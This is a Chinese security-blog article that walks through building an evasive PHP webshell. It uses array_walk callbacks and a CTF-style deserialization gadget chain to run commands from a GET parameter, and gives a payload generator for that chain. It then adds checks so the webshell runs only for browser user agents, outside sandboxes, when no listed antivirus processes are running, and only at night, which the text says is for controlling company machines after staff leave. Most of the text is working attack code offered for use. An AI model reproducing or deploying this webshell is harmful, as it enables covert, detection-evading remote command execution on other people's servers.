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文章作者：奇安信攻防社区(Werqy3)
文章来源：https://xz.aliyun.com/news/17187
前言
在做webshell免杀的时候，很多情况下都是对system,eval等命令执行函数进行匹配，如果说把变量当做一个函数来使用的话，那是不是可以bypass了呢？这今天刚好看见有一个回调函数有这样的功能，而且也不会报毒，再仔细想想shellcode免杀，绕过云沙箱时，是不是会先判断一下是否在沙箱环境，在就不运行，不在就运行，那在webshell上面是不是也同样食用呢？甚至我们可以加一下条件，让代码只在特定的条件下运行呢？
array_walk
array_walk 是 PHP 中的一个内置函数，用于对数组中的每个元素应用用户自定义的回调函数。它可以遍历数组，并将数组的键和值传递给回调函数进行处理。array_walk 不会返回一个新的数组，而是直接修改原始数组
函数语法：
array_walk(array &$array, callable $callback, mixed $userdata = null): bool- $array：要遍历的数组（按引用传递，可以直接修改）
- $callback：用户自定义的回调函数，接收两个参数（值，键），或者三个参数（值，键，$userdata）
- $userdata（可选）：传递给回调函数的额外数据
返回值：
- 成功时返回 true，失败时返回 false。
示例代码：
<?php$fruits = ["apple" => 5, "banana" => 3, "orange" => 8];// 定义一个回调函数function printItem($value, $key) {echo "Key: $key, Value: $valuen";}// 使用 array_walk 遍历数组array_walk($fruits, 'printItem');
输出：
Key: apple, Value: 5Key: banana, Value: 3Key: orange, Value: 8
其实也就是把变量名当作函数，参数当作函数的参数
示例代码
<?phpclass shell {public $system = "whoami";public function add($arg1) {array_walk($this, function ($day1, $day2) {$day3 = $day2($day1);});}}// 实例化类$A = new shell();// 调用 add 方法$A->add('some_argument');
结合HGCTF反序列化的免杀马
<?phperror_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;public function __construct($a) {$this->fruit1 = $a;}function __destruct() {echo $this->fruit1;}public function __toString() {$newFunc = $this->fruit2;return $newFunc();}}class Samurai {public $fruit6;public $fruit7;public function __toString() {$long = @$this->fruit6->add();return $long;}public function __set($arg1, $arg2) {if ($this->fruit7->tt2) {echo "xxx are the best!!!";}}}class Mystery {public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}}class Princess {protected $fruit9;protected function addMe() {return "The time spent with xxx is my happiest time" . $this->fruit9;}public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);}}class Philosopher {public $fruit10;public $fruit11="sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {return $this->fruit10->hey;}}}if (isset($_GET['cmd'])) {unserialize($_GET['cmd']);} else {highlight_file(__FILE__);}
调用链：
CherryBlossom:__destruct->Samurai:__toString->Princess:__call->CherryBlossom:__toString->Philosopher:__invoke->Mystery:__get<?phpclass CherryBlossom {public $fruit1;public $fruit2;}class Samurai {public $fruit6;public $fruit7;}class Philosopher {public $fruit10;public $fruit11="SwjI4H8ZbLdWv6zJxOZN";}class Princess {//public $fruit9;}class Mystery {public $system="ipconfig";}$a = new CherryBlossom();$b = new CherryBlossom();$c = new Samurai();$d = new Princess();$e = new Philosopher();$f = new Mystery();$a->fruit1 =$c;$a->fruit1->fruit6 =$d;$a->fruit1->fruit6->fruit9 =$b;$a->fruit1->fruit6->fruit9->fruit2 =$e;$a->fruit1->fruit6->fruit9->fruit2->fruit10 =$f;echo urlencode(serialize($a));
只在浏览器开启时运行
一般来说使用电脑都是离不开浏览器的，那这就是一个条件了，对浏览器进行检测主要是对UA头进行检测
Google Chrome
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Mozilla Firefox
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
<?phperror_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;public function __construct($a) {$this->fruit1 = $a;}function __destruct() {echo $this->fruit1;}public function __toString() {$newFunc = $this->fruit2;return $newFunc();}}class Samurai {public $fruit6;public $fruit7;public function __toString() {$long = @$this->fruit6->add();return $long;}public function __set($arg1, $arg2) {if ($this->fruit7->tt2) {echo "xxx are the best!!!";}}}class Mystery {public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}}class Princess {protected $fruit9;protected function addMe() {return "The time spent with xxx is my happiest time" . $this->fruit9;}public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);}}class Philosopher {public $fruit10;public $fruit11 = "sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {return $this->fruit10->hey;}}}// 检查 User-Agent 是否为浏览器function isBrowser() {if (isset($_SERVER['HTTP_USER_AGENT'])) {$userAgent = $_SERVER['HTTP_USER_AGENT'];// 常见浏览器的 User-Agent 关键词$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];foreach ($browserKeywords as $keyword) {if (stripos($userAgent, $keyword) !== false) {return true;}}}return false;}if (isset($_GET['cmd'])) {// 仅在检测到浏览器时触发反序列化if (isBrowser()) {unserialize($_GET['cmd']);} else {echo "Access denied. This feature is only available for browsers.";}} else {highlight_file(__FILE__);}
测试一下：我现在开火狐浏览器，然后把火狐浏览器的UA头特征删除一下
当他未检测到时，就不会运行
云沙箱环境下不运行
沙箱环境是具有一定特征的，我们可以利用这些特征，作为避开代码运行的条件
- 检测文件或目录是否存在（如 /etc/hostname 或 /home/sandbox）。
- 检测特定函数是否被禁用（如 exec、system、shell_exec）。
- 检测特定扩展是否加载（如 suhosin、runkit）。
<?phperror_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;public function __construct($a) {$this->fruit1 = $a;}function __destruct() {echo $this->fruit1;}public function __toString() {$newFunc = $this->fruit2;return $newFunc();}}class Samurai {public $fruit6;public $fruit7;public function __toString() {$long = @$this->fruit6->add();return $long;}public function __set($arg1, $arg2) {if ($this->fruit7->tt2) {echo "xxx are the best!!!";}}}class Mystery {public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}}class Princess {protected $fruit9;protected function addMe() {return "The time spent with xxx is my happiest time" . $this->fruit9;}public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);}}class Philosopher {public $fruit10;public $fruit11 = "sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {return $this->fruit10->hey;}}}// 检查是否为沙箱环境function isSandbox() {// 检测常见的沙箱特征$sandboxIndicators = [// 检测特定文件或目录'/etc/hostname' => 'sandbox','/home/sandbox' => true,// 检测特定函数是否被禁用'function_exists' => ['exec', 'system', 'shell_exec'],// 检测特定扩展是否加载'extension_loaded' => ['suhosin', 'runkit'],];foreach ($sandboxIndicators as $indicator => $value) {if (is_string($indicator)) {// 检测文件或目录是否存在if (file_exists($indicator)) {return true;}} elseif (is_array($value)) {// 检测函数是否被禁用foreach ($value as $func) {if (!function_exists($func)) {return true;}}}}return false;}// 检查 User-Agent 是否为浏览器function isBrowser() {if (isset($_SERVER['HTTP_USER_AGENT'])) {$userAgent = $_SERVER['HTTP_USER_AGENT'];// 常见浏览器的 User-Agent 关键词$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];foreach ($browserKeywords as $keyword) {if (stripos($userAgent, $keyword) !== false) {return true;}}}return false;}if (isset($_GET['cmd'])) {// 仅在非沙箱环境且通过浏览器访问时触发反序列化if (!isSandbox() && isBrowser()) {unserialize($_GET['cmd']);} else {echo "Access denied. This feature is not available in the current environment.";}} else {highlight_file(__FILE__);}
检测杀毒软件扫描时不运行
对于一些杀毒软件也有一定特征，有时候用户如果在没有装杀毒软件时被上马了，后面排查时，再用杀软时，我们就可以利用其杀软特征规避检测
- 在 Windows 系统上使用 tasklist 命令获取进程列表。
- 在 Linux 或 macOS 系统上使用 ps aux 命令获取进程列表。
- 检查进程列表中是否包含杀毒软件的关键进程名。
<?phperror_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;public function __construct($a) {$this->fruit1 = $a;}function __destruct() {echo $this->fruit1;}public function __toString() {$newFunc = $this->fruit2;return $newFunc();}}class Samurai {public $fruit6;public $fruit7;public function __toString() {$long = @$this->fruit6->add();return $long;}public function __set($arg1, $arg2) {if ($this->fruit7->tt2) {echo "xxx are the best!!!";}}}class Mystery {public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}}class Princess {protected $fruit9;protected function addMe() {return "The time spent with xxx is my happiest time" . $this->fruit9;}public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);}}class Philosopher {public $fruit10;public $fruit11 = "sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {return $this->fruit10->hey;}}}// 检查是否为杀毒软件扫描环境function isAntivirusScan() {// 检测常见的杀毒软件进程或文件$antivirusIndicators = [// 360 安全卫士'360sd.exe', '360tray.exe', 'zhudongfangyu.exe',// 火绒安全软件'hipsmain.exe', 'wsctrl.exe', 'usysdiag.exe',// 其他杀毒软件'avp.exe', 'msmpeng.exe', 'mbam.exe',];// 获取当前运行的进程列表if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {// Windows 系统exec('tasklist', $processes);} else {// Linux 或 macOS 系统exec('ps aux', $processes);}// 检查是否有杀毒软件进程foreach ($antivirusIndicators as $indicator) {foreach ($processes as $process) {if (stripos($process, $indicator) !== false) {return true;}}}return false;}// 检查是否为沙箱环境function isSandbox() {// 检测常见的沙箱特征$sandboxIndicators = [// 检测特定文件或目录'/etc/hostname' => 'sandbox','/home/sandbox' => true,// 检测特定函数是否被禁用'function_exists' => ['exec', 'system', 'shell_exec'],// 检测特定扩展是否加载'extension_loaded' => ['suhosin', 'runkit'],];foreach ($sandboxIndicators as $indicator => $value) {if (is_string($indicator)) {// 检测文件或目录是否存在if (file_exists($indicator)) {return true;}} elseif (is_array($value)) {// 检测函数是否被禁用foreach ($value as $func) {if (!function_exists($func)) {return true;}}}}return false;}// 检查 User-Agent 是否为浏览器function isBrowser() {if (isset($_SERVER['HTTP_USER_AGENT'])) {$userAgent = $_SERVER['HTTP_USER_AGENT'];// 常见浏览器的 User-Agent 关键词$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];foreach ($browserKeywords as $keyword) {if (stripos($userAgent, $keyword) !== false) {return true;}}}return false;}if (isset($_GET['cmd'])) {// 仅在非沙箱环境、非杀毒软件扫描且通过浏览器访问时触发反序列化if (!isSandbox() && !isAntivirusScan() && isBrowser()) {unserialize($_GET['cmd']);} else {echo "Access denied. This feature is not available in the current environment.";}} else {highlight_file(__FILE__);}
只在特定时间下运行
一般来说正常企业都是朝九晚五，那么我们是不是可以让木马在特定的时间下才运行呢，等到用户下班后，在对其公司电脑进行控制
- 使用 date('H') 获取当前小时（24 小时制）
- 通过逻辑或（||）判断当前时间是否在 22:00 到 6:00 之间
<?phperror_reporting(0);class CherryBlossom {public $fruit1;public $fruit2;public function __construct($a) {$this->fruit1 = $a;}function __destruct() {echo $this->fruit1;}public function __toString() {$newFunc = $this->fruit2;return $newFunc();}}class Samurai {public $fruit6;public $fruit7;public function __toString() {$long = @$this->fruit6->add();return $long;}public function __set($arg1, $arg2) {if ($this->fruit7->tt2) {echo "xxx are the best!!!";}}}class Mystery {public function __get($arg1) {array_walk($this, function ($day1, $day2) {$day3 = $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}});}}class Princess {protected $fruit9;protected function addMe() {return "The time spent with xxx is my happiest time" . $this->fruit9;}public function __call($func, $args) {call_user_func([$this, $func . "Me"], $args);}}class Philosopher {public $fruit10;public $fruit11 = "sr22kaDugamdwTPhG5zU";public function __invoke() {if (md5(md5($this->fruit11)) == 666) {return $this->fruit10->hey;}}}// 检查是否为杀毒软件扫描环境function isAntivirusScan() {// 检测常见的杀毒软件进程或文件$antivirusIndicators = [// 360 安全卫士'360sd.exe', '360tray.exe', 'zhudongfangyu.exe',// 火绒安全软件'hipsmain.exe', 'wsctrl.exe', 'usysdiag.exe',// 其他杀毒软件'avp.exe', 'msmpeng.exe', 'mbam.exe',];// 获取当前运行的进程列表if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {// Windows 系统exec('tasklist', $processes);} else {// Linux 或 macOS 系统exec('ps aux', $processes);}// 检查是否有杀毒软件进程foreach ($antivirusIndicators as $indicator) {foreach ($processes as $process) {if (stripos($process, $indicator) !== false) {return true;}}}return false;}// 检查是否为沙箱环境function isSandbox() {// 检测常见的沙箱特征$sandboxIndicators = [// 检测特定文件或目录'/etc/hostname' => 'sandbox','/home/sandbox' => true,// 检测特定函数是否被禁用'function_exists' => ['exec', 'system', 'shell_exec'],// 检测特定扩展是否加载'extension_loaded' => ['suhosin', 'runkit'],];foreach ($sandboxIndicators as $indicator => $value) {if (is_string($indicator)) {// 检测文件或目录是否存在if (file_exists($indicator)) {return true;}} elseif (is_array($value)) {// 检测函数是否被禁用foreach ($value as $func) {if (!function_exists($func)) {return true;}}}}return false;}// 检查 User-Agent 是否为浏览器function isBrowser() {if (isset($_SERVER['HTTP_USER_AGENT'])) {$userAgent = $_SERVER['HTTP_USER_AGENT'];// 常见浏览器的 User-Agent 关键词$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];foreach ($browserKeywords as $keyword) {if (stripos($userAgent, $keyword) !== false) {return true;}}}return false;}// 检查当前时间是否在指定范围内（22:00 到 6:00）function isWithinTimeRange() {$currentHour = (int)date('H'); // 获取当前小时return ($currentHour >= 22 || $currentHour < 6); // 22:00 到 6:00}if (isset($_GET['cmd'])) {// 仅在非沙箱环境、非杀毒软件扫描、通过浏览器访问且时间在 22:00 到 6:00 时触发反序列化if (!isSandbox() && !isAntivirusScan() && isBrowser() && isWithinTimeRange()) {unserialize($_GET['cmd']);} else {echo "Access denied. This feature is not available in the current environment or time.";}} else {highlight_file(__FILE__);}
测试下：我现在的时间是20点
未满足条件，所以没有运行成功
改下时间看看
成功运行了
原文始发于微信公众号（七芒星实验室）：多条件触发的免杀 Webshell
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